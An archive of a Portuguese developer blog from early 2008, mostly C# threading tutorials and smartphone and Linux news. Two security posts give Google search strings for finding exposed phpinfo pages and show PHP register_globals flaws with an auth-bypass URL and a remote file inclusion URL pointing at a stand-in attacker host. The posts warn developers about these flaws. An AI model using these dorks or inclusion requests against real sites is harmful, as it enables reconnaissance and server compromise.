segunda-feira, 25 de fevereiro de 2008

C# e .NET - Thread - Usando MUTEX para fazer com que seu programa só execute uma instancia

O objetivo deste post é fazer com que só exista uma instancia do programa executando por vez.

Como vimos nos posts anteriores podemos "travar" um bloco de codigo para que ele só seja executado por uma thread por vez.
Então que tal bloquear toda a sua aplicação para que ela rode apenas uma por vez??
Como o MSN por exemplo que só roda um cliente na maquina por vez.
É obvio que se você usar o recurso lock não vai dar nenhum pouco certo, pois a nova instancia de seu programa será uma nova thread e ela vai executar normalmente aquele bloco de codigo porque para todos os efeitos o bloco da nova instancia é outro bloco.

Em C# podemos usar a classe Monitor, ao inves do lock como foi explicado no post anterior. A classe Monitor se comporta exatamente como o lock. Se ela se comporta da mesma maneira então não conseguiremos resultados diferentes.
Porém o sistema operacional tem um objeto que pode fazer a mesma coisa.
O nome dele é MUTEX.
Ele é cerca de 33 vezes mais lento do que usar a classe Monitor, porém ele pode bloquear peças de codigo entre diferentes AppDomains.
Descuple a falta de referencia mas esse dado da performance foi tirado do livro CLR via C#, infelizmente não lembro o nome do autor.
Isso é perfeito para o que queremos, pois duas instancias da nossa aplicação são duas appDomains diferentes.
Então vamos deixas as palavras de lado, já que eu não sou muito bom com elas, e começaremos a mostrar o codigo.

//Utilizamos a classe MUTEX
Mutex meuPrograma = null;

try
{
//essa declaração deve ser feita dentro do bloco try,
// pois se nao existir instancia do programa rodando ele vai gerar uma excessão
meuPrograma = Mutex.OpenExisting("PROGRAMA");

}
catch (WaitHandleCannotBeOpenedException) {
Console.WriteLine("Não existe Instancia do programa aberto");
}

if (meuPrograma == null)
{
meuPrograma = new Mutex(true, "PROGRAMA");
Console.WriteLine("Só pode haver um");
Console.ReadLine();
}
else {
Console.WriteLine("Já existe uma instancia rodando");
Console.ReadLine();
}

Vou deixar as explicações tecnicas um pouco de lado e explicar de maneira didatica.
Você vai criar uma aplicação, ela vai ter um "apelido" para o sistema operacional.
Quando for abrir uma nova aplicação o seu programa vai perguntar ao sistema operacional
se existe alguem rodando que tenha o mesmo apelido.
Caso exista ele vai exibir a mensagem "Já existe uma instancia rodando"
Caso não exista ele vai abrir seu programa normalmente.

Espero ter sido claro na explicação.

quarta-feira, 20 de fevereiro de 2008

C# e .NET - Thread Lock - Trancando recursos para execução de threads

Esse texto pode ser melhor visualizado na pagina da Inteligência Digital.

Para acessa-lo, basta clicar aqui.

As vezes é necessario que suas Threads acessem o mesmo objetos e modifiquem valores nesses objetos.
Porém se você estiver trabalhando com um computador multi-processado, por vezes os resultados serão erradospois uma thread vai desfazer o que a outra já fez.

Vou explicar melhor essa historia.

Exemplo Classico:
Temos um contador numa classe X

int contador = 0;

Só existe uma instancia da classe X no seu programa, e toda vez que suas threads fizerem determinada atividade,elas deve incrementar em 1 esse contador.

Nada mais normal do que a classe X possuir um metodo

public void AtualizaContador(){
contador++;
}

Para esse simples exemplo não estamos levando em conta as boas praticas e questões de encapsulamentoque são muito importantes também.

Agora num ambiente multi-processado, imagine 2 Threads no mesmo momento tentando fazer a atualização do contador.

Suponto que nesse ponto o contador tenha o valor 10
De maneira generica, para fazer a atualização, os passos dados pelo processador seriam:

- Salvar o valor 10 no registrador do processador
- Incrementar o valor contido no registrador em 1
- retornar o valor para memoria

Voltando ao exemplo...
Se duas Threads pegassem ao mesmo tempo o valor 10
as duas iam incrementar o valor para 11
porem na hora de salvar em memoria, uma delas ia salvar primeiro o valor 11
por consequencia a outra deveria salvar o valor 12 mas isso não acontece,
ela salva o valor 11 novamente por cima do valor 11 que já estava lá

Causando uma inconsistencia nos dados da nossa aplicação.
Temos diversas formas de tratar isso, principalmente porque incrementação é uma operação thread safe,então temos classes e metodos para tratar especificamente dessa situação.

Mas vamos tratar aqui como se fosse uma situação generica.
Dessa forma usaremos o lock do C#
De maneira muito simples de usar, o lock irá bloquear os recursos do objeto até que a thread que está utilizando o trecho do codigo acabe de processa-lo

Teriamos então o seguinte codigo:

public void AtualizaContador(){

lock(this){
contador++;
}
}

o lock recebe como parametro o this que é uma palavra reservada do C# que referencia o objeto em questão.
No caso, como o metodo está dentro da classe X o this então, representa a classe X
É como se a propria classe estivesse se referenciando.

Espero ter conseguido passar um pouco da importancia do lock.
Existem outras formas de fazer isso, mas teriamos que entrar em outras discussões como dead lock e etc...
então trarei isso em um outro post.
Talvez vocês não enxerguem a importancia disso num exemplo simples como esse, mas em ambientes complexos isso toma proporções enormes.

Espero ter ajudado
Até a proxima.

Esse texto pode ser melhor visualizado na pagina da Inteligência Digital.

Para acessa-lo, basta clicar aqui.

terça-feira, 19 de fevereiro de 2008

Dica C# - Critical Region - Thread

Quando trabalhamos com threads podemos ter a nescessidade de abortar o processo durante a execução.
Para isso temos o metodo Abort() que é muito simples de se utilizar.
Porém, abortar uma Thread durante sua execução pode levar algum objeto de seu sistemaa um estado de inconsistencia.
Imagine o seguinte cenario:

Você tem as seguintes linhas para serem executadas dentro da sua Thread

MinhaClasse.NomePessoa = "JOAO";
MinhaClasse.Idade = "22";
MinhaClasse.Hobby = "Programação";

Se você lança um comando Abort(), durante a execução de qualquer uma dessas linhas, a thread vai pararimediatamente.
Imagine seu objeto agora ficando somente com o atributo nome.
Esse objeto não servirá para nada, pois os outros dados importantes não estão contidos nele.
Para evitar que uma chamada Abort(), termine a thread de maneira errada, podemos usar os metodos:

BeginCriticalRegion()
e
EndCriticalRegion()

voltando ao nosso exemplo, poderiamos fazer da seguinte forma:

Thread.BeginCriticalRegion();
MinhaClasse.NomePessoa = "JOAO";
MinhaClasse.Idade = "22";
MinhaClasse.Hobby = "Programação";
Thread.EndCriticalRegion();

Desta maneira, se nosso programa chamasse o metodo Abort() da nossa Thread, enquanto fosse processada alguma das linhas entre as chamadas de Thread.BeginCriticalRegion() e Thread.EndCriticalRegion()
A thread irá esperar a execução acabar para depois, mandar o sinal de termino a thread.

O objetivo é fazer com que todas as linhas na região critica sejam executadas de forma atomica, como se fossem apenas uma linha.

Espero que a dica seja proveitosa para alguem.

domingo, 17 de fevereiro de 2008

Criando uma Thread em C#

Nesse post simples, vou mostrar como criar uma Thread em C#.
É importante se trabalhar com Threads para ter uma performance melhor na aplicação.

Por exemplo, se na sua aplicação windows form, você tem uma tarefa que consome muito tempo, e faz essa programação normalmente, o form irá travar enquanto sua aplicação processa essa tarefa.
Usando Threads você evita que isso aconteça, pois sua aplicação irá processar a tarefa "em paralelo" numa outra thread e seu form poderá ser utilizado normalmente.

Vamos ao codigo de uma aplicação console utilizando threads.


class Program
{
//Primeiro Criamos um metodo void que não recebe parametros
//Esse metodo fará o trabalho das Threads

static void Trabalho()
{
Console.WriteLine("Esse é o id da Thread: " + Thread.CurrentThread.ManagedThreadId);
Console.WriteLine("Esse é o nome da Thread: " + Thread.CurrentThread.Name);

//Como podem ver é um trabalho bem simples
//Apenas escrevemos o ID e o nome da Thread em execução
}


static void Main(string[] args)
{
//Aqui utilizamos uma delegate que recebe nosso metodo como parametro
//Note que esta delegate só pode receber como parametro
//um metodo void que não recebe argumentos

ThreadStart operacao = new ThreadStart(Trabalho);

//Agora já estamos prontos para criar nossa Thread
//A Thread deve receber como parametro a delagate que indica
//o que deve ser executado quando a Thread for iniciada

Thread minhaThread1 = new Thread(operacao);
//Nome da Thread
minhaThread1.Name = "Exemplo-1";
//Aqui Inicializamos a Thread, então ela executará o que
//foi especificado pela delegate operação
minhaThread1.Start();

//Aqui executamos o mesmo codigo novamente para
//iniciar uma segunda Thread e compararmos os IDs

Thread minhaThread2 = new Thread(operacao);
minhaThread2.Name = "Exemplo-2";
minhaThread2.Start();


Console.ReadLine();
}
}


Essa foi uma introdução simploria a Threads
Em breve postarei mais exemplos...

sexta-feira, 15 de fevereiro de 2008

Falha na comunicação da Embratel com servidores estrangeiros

Uma falha nos equipamentos que ligam os servidores da Embratel, no Rio, até servidores em Miami, prejudicou o acesso a sites estrangeiros.

Os usuários dos serviços web da Embratel tiveram dificuldades para acessar sites hospedados fora do país das 13h às 16h da quarta-feira (13/02).

Segundo a Embratel, uma empresa contratada para fazer a conexão de sua infra-estrutura telecom no Brasil com servidores fora do país enfrentou problemas técnicos ao longo da tarde de quarta-feira.

A Embratel diz que não houve falha em seus equipamentos e, mesmo durante o período crítico, o acesso a sites estrangeiros foi possível, porém de forma lenta.


FONTE: INFO Online


quarta-feira, 13 de fevereiro de 2008

N96


Tá complicado esse mercado dos smartphones.
A Nokia anunciou essa semana na Mobile World Congress o lançamento do N96
Depois de muitas especulações e fotos falsas espalhadas pela internet, vem a tona a verdadeira cara do novo brinquedo.
Parece brincadeira o que estão fazendo com os "celulares" hoje. O que menos os celulares fazem hoje em dia é ligar.
Alias a Nokia não classifica essa beleza como celular, assim como o N95 que obteve certificação de Multimídia Server Storage.
A Nokia classifica o N96 como "Multimedia C0mputer".

O brinquedinho de luxo vai chegar as lojas com 16gb podendo expandir até 24gb.
Além da memória estúpida, o computadorzinho ainda tem tela de 2,8 e GPS, capacidade de assistir a TV digital e muitas outras coisas que o N95 já tinha...
As formas de conexão são as mais variadas, tem USB, Wi-Fi, HSDPA.
Duas cameras, assim como o N95, uma delas de 5 megapixels que grava video com qualidade de DVD.

O "celular" deve chegar em setembro para o consumidor europeu ao preço de 550 euros. Para o Brasil ainda não há previsão de lançamento.

Assim fica difícil pra concorrência.

Ubuntu tem maior numero de usuarios entre os Linuxers do Campus Party

Um breve texto interessante sobre o campus party, mostrando a diversidade dos sistemas operacionais utilizados e a liderança do Ubuntu dentre os linux.

Texto retirado de:
http://prof-david.blogspot.com/2008/02/tera-no-campus-party-t-bombando.html


"Passeando pela arena, fiz uma observação dos computadores e seus respectivos Sistemas Operacionais em uso (falta do que fazer, hehe). O que eu pude perceber é que de uma forma geral, não há monopólio de sistemas. Algumas poucas máquinas (bem turbinadas) rodam o Windows Vista e há um bom equilibrio, entre XP e Linux, pendendo com pequenas vantagens para o lado do SO da Microsoft. Também há um número generoso de Laptops com MAC OS. Mesmo nas seções de blogs e outras que não destacam o software livre como robótica e astronomia há um número razoável de máquinas com linux.
Há maquinas com Linux também na sala de imprensa. E os computadores disponíveis para aluguel estão enfileirados nos dois modelos. Windows e Linux, onde o número de participantes também se encontra bem dividido, sem definição de vencedores.

Apesar desta constatação curiosa, outra me intrigou muito mais dentro desse cenário: O excesso de computadores com Ubuntu instalado. De cada 10 máquinas com Linux, 9 tinham o ubuntu como distribuição. Excessão de um computador com Slackware, outro com Fedora, outro rodando o Debian e outro com DreamLinux, todos os outros tinham ubuntu instalado. Até o meu laptop que estou usando para o evento está com o kubuntu instalado (kubuntu, gosto do KDE).

Não dá pra negar que o sucesso do Ubuntu é notório e que os esforços da comunidade em criar uma distro fácil e voltada para todas as pessoas de forma democrática vem sendo recompensados. Por um lado, é como se fosse um segundo monopólio, não sei se é motivo para me preocupar, mas fico feliz pela equipe do Ubuntu. Parabéns a todos pelo sucesso!! Pena que nenhum representante do Ubuntu compareceu ao evento."

segunda-feira, 11 de fevereiro de 2008

XPERIA X1
















É...
Esse ano promete com relação a lançamento de smartphones.
Já rolam boatos que a Nokia está conversando com a Microsoft para adoção do Windows Mobile em alguns aparelhos.

Mas agora venho aqui falar do meu novo sonho de consumo!
Não é lá nenhum N95 com seus 8 gigas de memória, muito pelo contrario, possui apenas 400 megas de memória interna, mas com suporte a catão micro SD.

Mas o conjunto de design, funcionalidade e por rodar o Windows Mobile, fazem esse novo lançamento da Sony Ericsson , ganhar muitos pontos no meu conceito.

Para saber um pouco mais, é só visitar o site: http://www.sonyericsson.com/x1/?lc=pt&cc=BR

Teclado QWERTY é um dos pontos fortes em relação ao N95 na minha opinião.
Tela touch screen, software de reconhecimento de escrita e camera de 3.2 megapixels são apenas alguns dos atrativos dessa belezinha!

Espero que vocês entrem no site e confiram as fotos e o vídeo!

sexta-feira, 8 de fevereiro de 2008

O perigo do phpinfo()

Desenvolvedores php normalmente usam a função phpinfo() em algum tipo de arquivo de teste, geramlente chamado phpinfo.php

Essa função gera uma pagina com diversas informações uteis ao desenvolvedor.
Mas tambem gera uma pagina com diversas informações uteis a um atacante.

Do ponto de vista do atacante, a pergunta aqui então é: Como achar o arquivo phpinfo em determinado site?

A resposta é: Google

Da mesma forma que você encontra todas as suas informações uteis no google, você também encontra lixo e falhas de segurança!
É isso ai, o google pode revelar muito mais do que você pensa. Vamo começar a usar um pouco de Google Hack para descobrir as informações que nos interessam.

intitle: phpinfo () + site: http://www.siteaseranalisado.com/

com essa string de busca, você está procurando por uma pagina que tenha o titulo "phpinfo ()" dentro do dominio do site a ser analisado.
poderiamos fazer tambem:

allinurl: http://www.seusite.com/ phpinfo.php

Essa string vai procurar um site que tenha na url todas essas palavras.
Podemos achar muitas coisas de maneira facil e rapida assim.
Até arquivos contendo senhas, strings de conexão e etc...
Prato cheio para atacantes.

Podemos ter acesso a informações sensiveis atraves do phpinfo()
Informações como:


  • Sistema Operacional
  • Versão do servidor web
  • Comandos de configuração
  • Caminho do php.ini
E muitas outras informações.

Principio basico da segurança: Não de a informação a quem não precisa dela.

Essas informações em mão erradas geram um risco enorme.
Espero ter deixado claro o risco que é deixar o phpinfo() exposto.

Em breve postarei alguns google hacks uteis.

terça-feira, 5 de fevereiro de 2008

Bloqueando Estação de trabalho do Windows

Para mostrar como é facil operar com bibliotecas do windows, farei essa rapida demonstração de como bloquear estação de trabalho do windows.
Normalmente você tem que apertar ctrl + alt + del
depois disso escolher a opção bloquear computador.

Para brincar um pouco com a biblioteca user32.dll vamos fazer essa aplicação muito simples que ao ser ativada bloqueia a estação de trabalho exigindo que seja colocada a senha do usuario novamente para voltar as atividades.


static class Program
{
//Nessa simples linha estamos importando a dll user32 do windows
//que é uma das bibliotecas principais do windows
[DllImport("user32.dll", SetLastError = true)]

//A bliblioteca user32 tem um metodo que não recebe parametros
//chamado LockWorkStation que faz essa função de bloquear a estação de trabalho
//nessa linha declaramos o metodo LockWorkStation(),
//que está no user32.dll, como um metodo externo

public static extern int LockWorkStation();



static void Main()
{

LockWorkStation();

}

}

segunda-feira, 4 de fevereiro de 2008

Execução de codigo remoto - PHP - Register Globals

Muitos que me conhecem sabem que volta e meia implico com a linguagem PHP, apesar de trabalhar a maior parte do tempo com ela.
Vou deixar aqui uma dica de segurança sobre o Register Globals do PHP, que vem justamente do fato do PHP não necessitar de inicialização de variavel.
Muitos desenvolvedores sempre deixam essa opção setada para "ON" no php.ini
Isso facilita muito a vida deles. O bom é que isso também facilita muito a vida de quem quer executar algum codigo indevido na sua aplicação web.
Mas todo mundo aqui é bem grandinho e sabe o que faz no seu servidor, então vamos deixar de blá blá blá e vamos ao que interessa.

Esse tipo de problema é muito dificil de ser descoberto durante um teste de intrusão.
Porém se você tiver acesso ao codigo fonte do aplicativo e puder da uma revisada nele, certamente vai identificar com muita facilidade esse tipo de vulnerabilidade.
Isso é um prato cheio para plataformas feitas em php como Wordpress, Moodle, Drupal e etc...
O Drupal por exemplo já sofreu desse mal, mas se não me engano em versões recentes essa vulnerabilidade já foi corrigida.

Nas versões anteriores do PHP, o register_globals vinha pré-definido com "ON", porém nas versões mais recentes ele já vem por default em "OFF".
Com o register globals você pode obter diretamente dos metodos get e post, assim como de cookies os valores de qualquer variavel não inicializada.
O php simplesmente usa as variaveis sem saber de onde os valores vieram.
Vamos ver 2 exemplos de codigos inseguros.

// define $autenticado = true SOMENTE se o usuário for autenticado
if (usuario_autenticado())
{ $autenticado = true;}

// Por não inicializar a variavel com nenhum valor
//ela pode ser definida atraves da url de requisição
//supondo que temos uma pagina "autentica.php"
//que recebe o pedido de autenticação
//usando GET podemos fazer a seguinte requisição
//http://www.qualquersite.com/autentica.php?autenticado=1
// Dessa maneira, qualquer um pode ser visto como autenticado!

if ($autenticado)
{ include "dadosCriticos.php"; }

Outra linha de codigo simples que pode criar uma dor de cabeça imensa se o register_globals estiver ligado é:

require ($page . ".php");

Quase todo codigo em php que eu olho tem uma linha desse tipo.
Custa inicializar a variavel antes, e desligar o register_globals?
Com essa linha de codigo um atacante pode executar qualquer comando que ele queira, ou que o servidor permita a aplicação web executar.
Como?
Se a variavel $page não foi definida e o register globals está "on".
Então você pode incluir qualquer requisição de pagina, inclusive paginas que estão em outros servidores e etc... dentro da variavel $page.
Vamos supor que você é um cracker que hospeda seus arquivos em um servidor qualquer.

Você tem um arquivo chamado "ataque" que você coloca nos servidores que você invade.

Esse arquivos contem comandos php que executam algumas coisas "ruins" no servidor(vou deixar isso a cargo da sua imaginação).

Então se você tem um codigo daquele no index.php da sua aplicação e o cracker faz a seguinte requisição:

http://www.sitevulneravel.com/index.php?page=http://www.cracker.com.br/ataque

Já era!!!

Ele está fazendo o seu servidor executar o arquivo dele no outro servidor, e isso vai trazer consequencias ruins para o seu servidor.

Boas Noticias

Em meio a tanta coisa porca do php(hehehe) temos boas noticias.
1- O register_globals será banido na versão 6.0 do php
2- A partir da versão 4.2 o register_globals, por padrão vem setada como off
3- use a notação $_POST["campoDoForm"] para obter as variaveis de formularios, garanto que isso não é tão trabalhoso assim, o mesmo vale para o GET.

Por essas e outras que é tão importante esconder o phpinfo().
Se um atacante tem acesso a essas informações pode achar com maior facilidade esse tipo de vulnerabilidade e muitas outras também.

sexta-feira, 1 de fevereiro de 2008

Agregadores de Video de tecnologia

Não precisa nem falar muito sobre o youtube.
Todo mundo já sabe o sucesso que é.
Mas a maioria das pessoas usa apenas para diversão, para buscar coisas engraçadas e divertidas.
O que pouca gente sabe é que existem muiitos videos interessantes com um enfoque tecnico/profissional.
As vezes é dificil fazer uma peneira e achar o que realmente é relevante.

Esse post vem justamente trazer duas dicas de agregadores de videos de serviços como soapbox e youtube.

A primeira é uma iniciativa do Mutex que é o grupo de usuarios de tecnologias microsoft na bahia.
O mutex criou a TV MUTEX, que traz videos que falam exclusivamente de tecnologias microsoft, desde videos promocionais a palestras e videos tecnicos com tutoriais e afins...
o endereço é http://tv.mutex.com.br

A outra iniciativa é o LinTube que agrega videos somente de assuntos relacionados ao mundo Linux.
Há relativamente poucos videos no Lintube mas a tendencia é que com o tempo melhore.
O forte do lintube são os tutoriais em forma de videos e as filmagens "curiosas" com hacks de algumas coisas, como por exemplo o videos que mostra a facilidade de se crackear redes wifi protegidas pelo protocolo WEP.
o endereço é: http://lintube.com/

Quem tiver alguma sugestão de agregador de videos como esses, pode deixar um comentario que eu adicionarei ao post.

 
João Bosco Seixas